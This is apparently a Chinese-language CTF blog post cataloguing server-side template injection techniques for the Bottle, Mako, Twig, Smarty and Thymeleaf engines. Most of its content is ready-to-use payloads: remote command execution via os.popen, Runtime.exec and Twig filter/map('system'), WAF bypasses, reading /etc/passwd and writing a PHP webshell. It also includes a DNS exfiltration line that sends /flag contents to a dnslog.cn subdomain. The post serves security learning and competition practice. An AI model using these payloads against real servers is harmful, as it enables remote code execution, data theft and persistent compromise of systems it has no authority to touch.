SSTI进阶——多种模版引擎特征及应用

本文最后更新于 2026年7月2日 凌晨

SSTI中经常涉及到jinja之外的模版,这里我们来总结一下各种模版都有什么特征以及如何利用

快速判断模版类型

经典决策树

通过决策树我们可以解决大部分情况下的模版判断

报错探测

有时候题目会设置WAF,这就导致决策树可能走不通,这时候通过报错来探测模板类型就是一个好方法

image-20260701205707462

Python模板引擎

Bottle

语法

Bottle使用SimpleTemplate引擎或简称为 stpl,支持%语法。

SimpleTemplate 支持 Python 表达式,也因此容易出现 SSTI。

  • 使用 类似 Python 的语法(表达式、方法、属性访问)。
  • 支持 变量替换{{ var }}
  • 支持 控制结构(以 % 开头):例如 %if%for%while(常用 %if%for)。
  • 默认不提供严格的沙箱环境 —— 即模板中通常可以执行 Python 表达式 / 调用内建对象,存在 SSTI 风险。

特性

支持斜体、全角、八进制,非常容易绕过WAF

这里有一个速查表 Unicode - Compart

image-20260701131333296

应用

[ISCTF2025]难过的 bottle

题目源码中给出了WAF

1
2
3
4
5
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]
try:
return template(content)
except Exception as e:
return f"渲染错误: {str(e)}"

它对上传的文件解压后进行渲染,可以从这里注入

大部分字母全过滤了,刚好剩一个 flag,关键字用全角绕过

1
{{open('/flag').read()}}

也可以斜体绕过

补充——八进制绕过

1
{{ __import__('\157\163').popen('\143\141\164\040\057\146\154\141\147').read() }}

即:

1
{{__import__('os').popen('cat /flag').read()}}

[LilCTF2025]ez_bottle

大致思路就是/upload路由上传一个zip文件,然后bottle模版会渲染里面的文件

那么payload如何构造?bottle的waf还是比较好绕的

1
2
BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
"get", "open"]

这里使用经典的单行嵌入python代码

但是这个题没有回显,可以利用报错输出,也可以dnslog外带

1
2
3
4
5
% import ºs
% flag=ºs.pºpen('cat /flag').read()
% raise Exception(flag)
%import pty
%pty.spawn(['/bin/sh', '-c', 'ping -c 1 `cat /flag|base64|tr -d "\n"`.abcdef.dnslog.cn'])

[VNCTF2025]学生姓名管理系统

放这个题目主要是和上面的单行嵌入python代码做一下区分以及介绍一下通过海象运算符绕过长度限制的手法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 5999 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

如果 <% ... %>% ... 嵌入在普通文本中(无换行符分隔),则被视为普通文本,直接输出。

bottle.template('hello '+payload),这里是被嵌入在文本中的!!!

所以只能用{{ }}

这里有长度限制,可以通过海象运算符绕过

1
2
3
4
{{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subc
lasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__global
s__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0
a{{x:=i("/flag")}}%0a{{y:=x.read()}}

Mako

语法

  • 使用 类似 Python 的语法(表达式、方法、属性访问)。
  • 支持 变量替换${ var }
  • 支持 控制结构(以 % 开头):例如 %if%for%while(常用 %if%for)。
  • 默认不提供严格的沙箱环境 —— 即模板中通常可以执行 Python 表达式 / 调用内建对象,存在 SSTI 风险。

这里需要注意的一点是Mako不支持%单行python代码,只能使用python代码块

1
<%  %>

特性

支持Unicode字符

用法

网上可以找到的关于Mako SSTI的资料比较少,这里我用ai写了一个Mako复读机供测试使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from flask import Flask, request, render_template_string
from mako.template import Template
import logging

app = Flask(__name__)

# 关闭一些不必要的日志,保持后台干净
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)

# 基础的 HTML 表单模板(已将 input 改为 textarea)
HTML_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
<title>Mako SSTI Test Lab (Multi-line)</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; background-color: #f4f4f9; }
.container { max-width: 700px; margin: 0 auto; background: white; padding: 30px; border-radius: 8px; box-shadow: 0 4px 6px rgba(0,0,0,0.1); }
textarea { width: 100%; height: 120px; padding: 10px; box-sizing: border-box; border: 1px solid #ccc; border-radius: 4px; resize: vertical; font-family: monospace; }
.btn-container { margin-top: 10px; text-align: right; }
input[type="submit"] { padding: 10px 20px; border: none; background-color: #007BFF; color: white; border-radius: 4px; cursor: pointer; font-size: 14px; }
input[type="submit"]:hover { background-color: #0056b3; }
.result { margin-top: 20px; padding: 15px; background-color: #e9ecef; border-left: 5px solid #28a745; border-radius: 4px; white-space: pre-wrap; word-break: break-all; font-family: monospace; }
</style>
</head>
<body>
<div class="container">
<h2>Mako 模板多行复读机 (SSTI 测试)</h2>
<form method="POST" action="/">
<textarea name="code" placeholder="在此输入 Mako 模板内容...&#10;例如: ${7*7}"></textarea>
<div class="btn-container">
<input type="submit" value="渲染模板">
</div>
</form>

{% if result %}
<div class="result">
<strong>渲染结果:</strong><br>{{ result | safe }}
</div>
{% endif %}
</div>
</body>
</html>
"""

# 改为 POST 请求,方便传输多行大数据
@app.route('/', methods=['GET', 'POST'])
def index():
result = ''
if request.method == 'POST':
user_input = request.form.get('code', '')
if user_input:
try:
# 【核心漏洞点】:动态解析用户输入的文本作为模板
mako_template = Template(user_input)
result = mako_template.render()
except Exception as e:
result = f"<span style='color:red;'>Mako 渲染报错: {str(e)}</span>"

return render_template_string(HTML_TEMPLATE, result=result)

if __name__ == '__main__':
print("[+] Mako SSTI 测试环境已启动: http://127.0.0.1:5000")
app.run(host='127.0.0.1', port=5000, debug=True)

代码执行

1
${__import__('os').popen('whoami').read()}

Bypass

如果${}标识符被过滤,我们可以利用<%%>执行python代码,需要利用context.write()实现回显

1
<% context.write(__import__('os').popen('whoami').read()) %>

还可以利用控制结构实现盲注

1
2
3
% if getattr(getattr(open("/"+"f"+"l"+"a"+"g"), 'read')(), '__getitem__')(0) in 'f':
True_Flag
% endif

应用

[LitCTF2026]lit_ezssti

Wappalyzer 插件显示编程语言为 Python,先输入:

1
{{7*7}}

原样回显,再输入:

1
${7*7}

回显 WAF,说明应该是猜对了,后端模板引擎是 Mako,但是过滤了 $,可以用 Mako 代码块 <% ... %> 替代,输入:

1
<% context.write(__import__('os').popen('cat /flag').read()) %>

又回显 WAF,测试一下是过滤了 .flag,把所有的 . 替换成 getattr()flag 换成 fla*,输入:

1
<%getattr(context,'write')(getattr(getattr(__import__('os'),'popen')('cat /fla*'),'read')())%>

(本题wp摘自LitCTF 2026 WEB方向全WP | 康可ing

构造盲注也可以

PHP模版引擎

Twig

特性

  • 使用统一的属性/方法访问语法:使用点号 . 可以动态访问数组的键、对象的属性,或者调用对象的方法
  • 支持求值与变量替换:使用双大括号 {{ var }}
  • 支持标签控制结构:使用 {% %} 标志,专门用于编写逻辑控制。
  • 采用严格的默认安全隔离环境:模板运行在专门的沙箱机制中,默认完全禁止直接调用原生的 PHP 危险函数(如 system()eval())。发生 SSTI 风险时,通常需要依赖特定版本下暴露的内置魔术对象(如 _self.env)或特定的高级过滤器(如 filtermap)作为跳板来间接执行代码。

用法

使用过滤器实现RCE

新版 Twig(v3.x)删除了 _self 对象,但如果开发者在配置 Twig 时允许了一些特定对象传入,或者在某些特定场景下,利用 Twig 自身的循环/数组过滤器依然可以实现 RCE。

Twig 的 filter 允许传入一个回调函数来过滤数组。如果我们将数组元素设为命令,回调函数设为 system,就能直接触发:

1
{{ ["whoami"] | filter("system") }}

map原理与 filter 类似,使用 map 对数组中的每个元素执行指定的 PHP 函数:

1
{{ ["id; uname -a"] | map("system") }}

利用数组减少(归纳)过滤器,同样可以传入回调函数:

1
{{ ["whoami"] | reduce("system") }}

通杀Payload

1
2
3
4
5
{{["id"]|map("system")|join(",")}}
{{["id", 0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0, 0]|reduce("system", "id")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

image-20260701205357940

Smarty

特性

  • 使用独树一帜的单大括号语法:默认使用单大括号 { var } 作为其标识符,点号 . 用于访问数组键值或对象的属性/方法
  • 支持原生的 PHP 表达式与变量赋值:虽然它有自己的语法,但它允许在模板内直接声明和修改 PHP 变量(如 { assign var="name" value="value" }),甚至在未开启安全模式时,可以直接通过 { $cos = cos(0) } 这种形式调用 PHP 的原生内置函数。
  • 支持特殊的原生代码块和闭合控制标签:使用 { if }...{ /if }{ foreach }...{ /foreach } 来编写逻辑控制。更特殊的是,它为了兼容原生 PHP,甚至自带了专用的代码块标签,允许直接在模板里嵌入原生的 PHP 代码(如老版本中的 { php } ... { /php } 标签)。
  • “开门大吉”的默认非沙箱环境(SSTI 的重灾区):Smarty 在默认配置下几乎不提供任何沙箱隔离。这意味着一旦存在用户可控的 SSTI,攻击者不需要像 Twig 那样寻找复杂的子类链或特定的过滤器,直接利用其内置的特殊标签(如 { php }{ include_php })或者直接调用 PHP 危险函数。

用法

直接RCE

由于Smarty3的默认非沙箱环境,RCE非常简单

1
{system('whoami')}
1
{passthru('id; uname -a')}

PHP标签

在非常老的 Smarty v2 中,或者在 Smarty 3 中手动开启了允许原生 PHP 标签的环境下,可以直接这样写:

1
{php}system('whoami');{/php}

Smarty (v4.x / v5.x) 严格模式绕过

Smarty 4 或 Smarty 5 已经默认禁用了 {system()} 这种直接调用原生 PHP 函数的越权行为。但由于 Smarty 复杂的对象设计,依然可以通过其内置的静态类或内置方法实现完美绕过:

写webshell

1
{Smarty_Internal_Runtime_WriteFile::writeFile('shell.php', '<?php phpinfo(); ?>', $smarty.template_object->smarty)}

读敏感文件

1
{fetch file="/etc/passwd"}
1
{$smarty.template_object->getStreamVariable('file:///etc/passwd')}

image-20260701213655875

Java模板引擎

Thymeleaf

特性

  • 独创的“原型即模板”语法:它不破坏原生 HTML 的结构。它通过在 HTML 标签中添加特有的属性前缀(如 th:textth:value)来嵌入动态逻辑。这意味着即使用浏览器直接双击打开 .html 源码,页面也能正常显示静态排版。
  • 基于表达式语言(EL)进行变量替换:使用 ${ var } 标识符。其底层高度依赖 OGNL(标准 Java 环境)或 SpEL(Spring 环境)表达式语言。大括号内不仅能写变量,还可以直接编写复杂的 Java 代码(如对象实例化、方法调用)。
  • 支持多功能的片段表达式:使用 ~{ templateName :: fragmentName } 语法。它允许在一个 HTML 页面中动态引入另一个页面的某个片段(类似于组件化开发)。
  • 表面严格、实则依赖上下文的沙箱环境:Thymeleaf 自身有一套静态黑名单(禁止直接调用 java.lang.Runtime 等危险对象)。但在 Spring 环境中,由于它允许通过 @beanName 直接调用 Spring 容器中的任意公开 Bean(如 @environment 或各种辅助工具类),这使得安全测试人员常常能通过 Spring 的上下文生态轻松绕过其原生沙箱。

用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.roboterh.fastjsondemo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class ThymeleafController {

@GetMapping("/")
public String index(Model model) {
model.addAttribute("message", "world");
return "hello";
}
@GetMapping("/cmd")
public String eval(@RequestParam String cmd) {
return cmd;
}
}

读取任意文件

1
__${new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()}__::x

远程命令执行(RCE)

如果你想执行系统命令(比如弹出计算器或反弹 Shell),可以利用 Java 的 Runtime 类:

1
http://localhost:8080/cmd?cmd=__${T(java.lang.Runtime).getRuntime().exec('calc')}__::x

文件上传

image-20260701234155860

如果有文件上传漏洞的话,我们可以通过覆盖原路由读取的html文件来实现ssti

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html> 
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Test</title>
</head> <body>
<div th:fragment="main">
<span th:text="'hello ' + ${message}"></span>
</div>
</body>
</html>

参考文献

Bottle框架的ssti、内存马、污染深入浅出-先知社区

Python Bottle SSTI注入 | Jatopos的博客

bottlepy template - Simple Love - 博客园

Mako模板引擎以及沙箱机制-先知社区

TWIG 全版本通用 SSTI payloads-先知社区

Smarty 最新 SSTI 总结-先知社区

完全搞懂Thymeleaf SSTI - FreeBuf网络安全行业门户


SSTI进阶——多种模版引擎特征及应用
https://www.sunynov.top/2026/06/30/多种模版引擎特征及应用/
作者
suny
发布于
2026年6月30日
许可协议